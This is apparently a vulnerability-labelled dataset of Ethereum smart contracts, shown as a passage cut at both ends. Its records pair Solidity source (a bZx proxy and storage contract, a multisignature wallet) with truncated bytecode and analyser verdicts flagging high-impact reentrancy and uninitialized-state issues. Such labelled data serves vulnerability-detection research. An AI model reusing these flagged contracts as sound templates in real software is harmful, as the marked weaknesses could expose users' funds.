f165b8061140257506016546001600160a01b0385811691161480159061140257506016546001600160a01b03848116911614155b1561140f57506000611489565b6016546001600160a01b03858116911614801561143a57506015546001600160a01b03848116911614155b1561144c57600954600d55600a54600e555b6016546001600160a01b03848116911614801561147757506015546001600160a01b03858116911614155b1561148957600b54600d55600c54600e555b610bce84848484611757565b600081848411156114b95760405162461bcd60e51b81526004016107999190611be7565b5060006114c68486611f83565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a19573d6000803e3d6000fd5b60006007548211156115705760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610799565b600061157a611785565b905061158683826117a8565b9392505050565b600d5415801561159d5750600e54155b156115a457565b600d8054600f55600e805460105560009182905555565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061160357611603611f3a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561165757600080fd5b505afa15801561166b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168f9190611f9a565b816001815181106116a2576116a2611f3a565b6001600160a01b0392831660209182029290920101526015546116c89130911684610e35565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611701908590600090869030904290600401611fb7565b600060405180830381600087803b15801561171b57600080fd5b505af115801561172f573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b61174c61158d565b610a08338383610f59565b806117645761176461158d565b61176f8484846117ea565b80610bce57610bce600f54600d55601054600e55565b60008060006117926118e1565b90925090506117a182826117a8565b9250505090565b600061158683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611929565b6000806000806000806117fc87611957565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061182e90876119b4565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461185d90866119f6565b6001600160a01b03891660009081526002602052604090205561187f81611a55565b6118898483611a9f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118ce91815260200190565b60405180910390a3505050505050505050565b60075460009081906b033b2e3c9fd0803ce800000061190082826117a8565b821015611920575050600754926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361194a5760405162461bcd60e51b81526004016107999190611be7565b5060006114c68486612028565b60008060008060008060008060006119748a600d54600e54611ac3565b9250925092506000611984611785565b905060008060006119978e878787611b18565b919e509c509a509598509396509194505050505091939550919395565b600061158683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611495565b600080611a038385611f6b565b9050838110156115865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610799565b6000611a5f611785565b90506000611a6d8383611b68565b30600090815260026020526040902054909150611a8a90826119f6565b30600090815260026020526040902055505050565b600754611aac90836119b4565b600755600854611abc90826119f6565b6008555050565b6000808080611add6064611ad78989611b68565b906117a8565b90506000611af06064611ad78a89611b68565b90506000611b0882611b028b866119b4565b906119b4565b9992985090965090945050505050565b6000808080611b278886611b68565b90506000611b358887611b68565b90506000611b438888611b68565b90506000611b5582611b0286866119b4565b939b939a50919850919650505050505050565b600082611b7757506000610700565b6000611b838385611f1b565b905082611b908583612028565b146115865760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610799565b600060208083528351808285015260005b81811015611c1457858101830151858201604001528201611bf8565b81811115611c26576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108f657600080fd5b60008060408385031215611c6457600080fd5b8235611c6f81611c3c565b946020939093013593505050565b600080600060608486031215611c9257600080fd5b8335611c9d81611c3c565b92506020840135611cad81611c3c565b929592945050506040919091013590565b600060208284031215611cd057600080fd5b813561158681611c3c565b80358015158114611ceb57600080fd5b919050565b60008060408385031215611d0357600080fd5b8235611d0e81611c3c565b9150611d1c60208401611cdb565b90509250929050565b600060208284031215611d3757600080fd5b61158682611cdb565b600060208284031215611d5257600080fd5b5035919050565b60008060008060808587031215611d6f57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f840112611d9d57600080fd5b50813567ffffffffffffffff811115611db557600080fd5b6020830191508360208260051b8501011115611dd057600080fd5b9250929050565b600080600060408486031215611dec57600080fd5b833567ffffffffffffffff811115611e0357600080fd5b611e0f86828701611d8b565b9094509250611e22905060208501611cdb565b90509250925092565b60008060008060408587031215611e4157600080fd5b843567ffffffffffffffff80821115611e5957600080fd5b611e6588838901611d8b565b90965094506020870135915080821115611e7e57600080fd5b50611e8b87828801611d8b565b95989497509550505050565b60008060408385031215611eaa57600080fd5b8235611eb581611c3c565b91506020830135611ec581611c3c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611f3557611f35611f05565b500290565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611f6457611f64611f05565b5060010190565b60008219821115611f7e57611f7e611f05565b500190565b600082821015611f9557611f95611f05565b500390565b600060208284031215611fac57600080fd5b815161158681611c3c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120075784516001600160a01b031683529383019391830191600101611fe2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261204557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220261cb663c7102da918cd0c594f47378ee25dfd9c4eae9145e18c5357aacec2c664736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,996 |
0x7e65b937d576a56b34ddb8aa0c6534f198c36940 | /**
* Copyright 2017–2018, bZeroX, LLC. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.4.24;
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="fb899e969894bbc9">[email protected]</a>π.com>, Eenae <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="33525f564b564a735e5a4b514a4756401d5a5c">[email protected]</a>>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev Constant for unlocked guard state - non-zero to prevent extra gas costs.
/// See: https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1056
uint private constant REENTRANCY_GUARD_FREE = 1;
/// @dev Constant for locked guard state
uint private constant REENTRANCY_GUARD_LOCKED = 2;
/**
* @dev We use a single lock for the whole contract.
*/
uint private reentrancyLock = REENTRANCY_GUARD_FREE;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(reentrancyLock == REENTRANCY_GUARD_FREE);
reentrancyLock = REENTRANCY_GUARD_LOCKED;
_;
reentrancyLock = REENTRANCY_GUARD_FREE;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract GasTracker {
uint internal gasUsed;
modifier tracksGas() {
// tx call 21k gas
gasUsed = gasleft() + 21000;
_; // modified function body inserted here
gasUsed = 0; // zero out the storage so we don't persist anything
}
}
contract BZxEvents {
event LogLoanAdded (
bytes32 indexed loanOrderHash,
address adder,
address indexed maker,
address indexed feeRecipientAddress,
uint lenderRelayFee,
uint traderRelayFee,
uint maxDuration,
uint makerRole
);
event LogLoanTaken (
address indexed lender,
address indexed trader,
address collateralTokenAddressFilled,
address positionTokenAddressFilled,
uint loanTokenAmountFilled,
uint collateralTokenAmountFilled,
uint positionTokenAmountFilled,
uint loanStartUnixTimestampSec,
bool active,
bytes32 indexed loanOrderHash
);
event LogLoanCancelled(
address indexed maker,
uint cancelLoanTokenAmount,
uint remainingLoanTokenAmount,
bytes32 indexed loanOrderHash
);
event LogLoanClosed(
address indexed lender,
address indexed trader,
address loanCloser,
bool isLiquidation,
bytes32 indexed loanOrderHash
);
event LogPositionTraded(
bytes32 indexed loanOrderHash,
address indexed trader,
address sourceTokenAddress,
address destTokenAddress,
uint sourceTokenAmount,
uint destTokenAmount
);
event LogMarginLevels(
bytes32 indexed loanOrderHash,
address indexed trader,
uint initialMarginAmount,
uint maintenanceMarginAmount,
uint currentMarginAmount
);
event LogWithdrawProfit(
bytes32 indexed loanOrderHash,
address indexed trader,
uint profitWithdrawn,
uint remainingPosition
);
event LogPayInterestForOrder(
bytes32 indexed loanOrderHash,
address indexed lender,
uint amountPaid,
uint totalAccrued,
uint loanCount
);
event LogPayInterestForPosition(
bytes32 indexed loanOrderHash,
address indexed lender,
address indexed trader,
uint amountPaid,
uint totalAccrued
);
event LogChangeTraderOwnership(
bytes32 indexed loanOrderHash,
address indexed oldOwner,
address indexed newOwner
);
event LogChangeLenderOwnership(
bytes32 indexed loanOrderHash,
address indexed oldOwner,
address indexed newOwner
);
event LogIncreasedLoanableAmount(
bytes32 indexed loanOrderHash,
address indexed lender,
uint loanTokenAmountAdded,
uint loanTokenAmountFillable
);
}
contract BZxObjects {
struct ListIndex {
uint index;
bool isSet;
}
struct LoanOrder {
address loanTokenAddress;
address interestTokenAddress;
address collateralTokenAddress;
address oracleAddress;
uint loanTokenAmount;
uint interestAmount;
uint initialMarginAmount;
uint maintenanceMarginAmount;
uint maxDurationUnixTimestampSec;
bytes32 loanOrderHash;
}
struct LoanOrderAux {
address maker;
address feeRecipientAddress;
uint lenderRelayFee;
uint traderRelayFee;
uint makerRole;
uint expirationUnixTimestampSec;
}
struct LoanPosition {
address trader;
address collateralTokenAddressFilled;
address positionTokenAddressFilled;
uint loanTokenAmountFilled;
uint loanTokenAmountUsed;
uint collateralTokenAmountFilled;
uint positionTokenAmountFilled;
uint loanStartUnixTimestampSec;
uint loanEndUnixTimestampSec;
bool active;
}
struct PositionRef {
bytes32 loanOrderHash;
uint positionId;
}
struct InterestData {
address lender;
address interestTokenAddress;
uint interestTotalAccrued;
uint interestPaidSoFar;
}
}
contract BZxStorage is BZxObjects, BZxEvents, ReentrancyGuard, Ownable, GasTracker {
uint internal constant MAX_UINT = 2**256 - 1;
address public bZRxTokenContract;
address public vaultContract;
address public oracleRegistryContract;
address public bZxTo0xContract;
address public bZxTo0xV2Contract;
bool public DEBUG_MODE = false;
// Loan Orders
mapping (bytes32 => LoanOrder) public orders; // mapping of loanOrderHash to on chain loanOrders
mapping (bytes32 => LoanOrderAux) public orderAux; // mapping of loanOrderHash to on chain loanOrder auxiliary parameters
mapping (bytes32 => uint) public orderFilledAmounts; // mapping of loanOrderHash to loanTokenAmount filled
mapping (bytes32 => uint) public orderCancelledAmounts; // mapping of loanOrderHash to loanTokenAmount cancelled
mapping (bytes32 => address) public orderLender; // mapping of loanOrderHash to lender (only one lender per order)
// Loan Positions
mapping (uint => LoanPosition) public loanPositions; // mapping of position ids to loanPositions
mapping (bytes32 => mapping (address => uint)) public loanPositionsIds; // mapping of loanOrderHash to mapping of trader address to position id
// Lists
mapping (address => bytes32[]) public orderList; // mapping of lenders and trader addresses to array of loanOrderHashes
mapping (bytes32 => mapping (address => ListIndex)) public orderListIndex; // mapping of loanOrderHash to mapping of lenders and trader addresses to ListIndex objects
mapping (bytes32 => uint[]) public orderPositionList; // mapping of loanOrderHash to array of order position ids
PositionRef[] public positionList; // array of loans that need to be checked for liquidation or expiration
mapping (uint => ListIndex) public positionListIndex; // mapping of position ids to ListIndex objects
// Other Storage
mapping (bytes32 => mapping (uint => uint)) public interestPaid; // mapping of loanOrderHash to mapping of position ids to amount of interest paid so far to a lender
mapping (address => address) public oracleAddresses; // mapping of oracles to their current logic contract
mapping (bytes32 => mapping (address => bool)) public preSigned; // mapping of hash => signer => signed
mapping (address => mapping (address => bool)) public allowedValidators; // mapping of signer => validator => approved
}
contract BZxProxiable {
mapping (bytes4 => address) public targets;
mapping (bytes4 => bool) public targetIsPaused;
function initialize(address _target) public;
}
contract BZxProxy is BZxStorage, BZxProxiable {
constructor(
address _settings)
public
{
require(_settings.delegatecall(bytes4(keccak256("initialize(address)")), _settings), "BZxProxy::constructor: failed");
}
function()
public
payable
{
require(!targetIsPaused[msg.sig], "BZxProxy::Function temporarily paused");
address target = targets[msg.sig];
require(target != address(0), "BZxProxy::Target not found");
bytes memory data = msg.data;
assembly {
let result := delegatecall(gas, target, add(data, 0x20), mload(data), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
function initialize(
address)
public
{
revert();
}
} | 0x6080604052600436106101695763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663093983bd811461030857806316a6bff61461033c5780632035d73b1461035e5780632274346b1461039457806342ad3526146103a95780634a7c3d50146103e6578063715018a6146103fe57806371eb125e14610415578063779dec5b146104365780637955f60f1461044b5780637b8e35141461047c57806382c174d0146104a357806386042ec6146104c75780638638aa65146104fd5780638d067193146105125780638da5cb5b1461052d5780639437d0ea146105425780639ae6b1861461055d5780639c3f1e90146105725780639e312dac146105ec578063a72480ae14610663578063b7a025f9146106ba578063c4d66de8146106cf578063cce37f3e146106f0578063d9fd734114610708578063de3f26eb14610720578063f2fde38b14610735578063f4fb9b2f14610756575b60008035600160e060020a03191681526019602052604081205460609060ff161561021b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f425a7850726f78793a3a46756e6374696f6e2074656d706f726172696c79207060448201527f6175736564000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60008035600160e060020a031916815260186020526040902054600160a060020a031691508115156102ae57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f425a7850726f78793a3a546172676574206e6f7420666f756e64000000000000604482015290519081900360640190fd5b6000368080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509050600080825160208401855af43d604051816000823e828015610304578282f35b8282fd5b34801561031457600080fd5b5061032060043561077a565b60408051600160a060020a039092168252519081900360200190f35b34801561034857600080fd5b50610320600160e060020a031960043516610795565b34801561036a57600080fd5b50610380600160e060020a0319600435166107b0565b604080519115158252519081900360200190f35b3480156103a057600080fd5b506103206107c5565b3480156103b557600080fd5b506103cd600435600160a060020a03602435166107d4565b6040805192835290151560208301528051918290030190f35b3480156103f257600080fd5b506103cd6004356107fb565b34801561040a57600080fd5b50610413610817565b005b34801561042157600080fd5b50610320600160a060020a0360043516610885565b34801561044257600080fd5b506103206108a0565b34801561045757600080fd5b506104636004356108af565b6040805192835260208301919091528051918290030190f35b34801561048857600080fd5b50610380600160a060020a03600435811690602435166108db565b3480156104af57600080fd5b50610380600435600160a060020a03602435166108fb565b3480156104d357600080fd5b506104eb600435600160a060020a036024351661091b565b60408051918252519081900360200190f35b34801561050957600080fd5b50610380610938565b34801561051e57600080fd5b506104eb600435602435610959565b34801561053957600080fd5b50610320610976565b34801561054e57600080fd5b506104eb600435602435610985565b34801561056957600080fd5b506103206109b5565b34801561057e57600080fd5b5061058a6004356109c4565b60408051600160a060020a039b8c168152998b1660208b0152978a1689890152959098166060880152608087019390935260a086019190915260c085015260e08401526101008301939093526101208201929092529051908190036101400190f35b3480156105f857600080fd5b50610604600435610a27565b60408051600160a060020a039b8c168152998b1660208b015297909916888801526060880195909552608087019390935260a086019190915260c085015260e08401526101008301529115156101208201529051908190036101400190f35b34801561066f57600080fd5b5061067b600435610a89565b60408051600160a060020a039788168152959096166020860152848601939093526060840191909152608083015260a082015290519081900360c00190f35b3480156106c657600080fd5b50610320610acb565b3480156106db57600080fd5b50610413600160a060020a0360043516610ada565b3480156106fc57600080fd5b506104eb600435610adf565b34801561071457600080fd5b506104eb600435610af1565b34801561072c57600080fd5b50610320610b03565b34801561074157600080fd5b50610413600160a060020a0360043516610b12565b34801561076257600080fd5b506104eb600160a060020a0360043516602435610b35565b600c60205260009081526040902054600160a060020a031681565b601860205260009081526040902054600160a060020a031681565b60196020526000908152604090205460ff1681565b600454600160a060020a031681565b60106020908152600092835260408084209091529082529020805460019091015460ff1682565b6013602052600090815260409020805460019091015460ff1682565b600154600160a060020a0316331461082e57600080fd5b600154604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26001805473ffffffffffffffffffffffffffffffffffffffff19169055565b601560205260009081526040902054600160a060020a031681565b600354600160a060020a031681565b60128054829081106108bd57fe5b60009182526020909120600290910201805460019091015490915082565b601760209081526000928352604080842090915290825290205460ff1681565b601660209081526000928352604080842090915290825290205460ff1681565b600e60209081526000928352604080842090915290825290205481565b60075474010000000000000000000000000000000000000000900460ff1681565b601460209081526000928352604080842090915290825290205481565b600154600160a060020a031681565b6011602052816000526040600020818154811015156109a057fe5b90600052602060002001600091509150505481565b600754600160a060020a031681565b60086020819052600091825260409091208054600182015460028301546003840154600485015460058601546006870154600788015498880154600990980154600160a060020a039788169996881698958816979094169592949193909291908a565b600d602052600090815260409020805460018201546002830154600384015460048501546005860154600687015460078801546008890154600990990154600160a060020a039889169997891698909616969495939492939192909160ff168a565b600960205260009081526040902080546001820154600283015460038401546004850154600590950154600160a060020a039485169593909416939192909186565b600654600160a060020a031681565b600080fd5b600a6020526000908152604090205481565b600b6020526000908152604090205481565b600554600160a060020a031681565b600154600160a060020a03163314610b2957600080fd5b610b3281610b50565b50565b600f602052816000526040600020818154811015156109a057fe5b600160a060020a0381161515610b6557600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058206bcf582fdacc90e7189e0197c49765bf601055e5d82f50a6921523829e7ee67f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | 1,997 |
0x0373fcaaa6bbf2630cbb1d722aace921bf2e872d | /**
*Submitted for verification at Etherscan.io on 2021-04-08
*/
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b6003805482908110610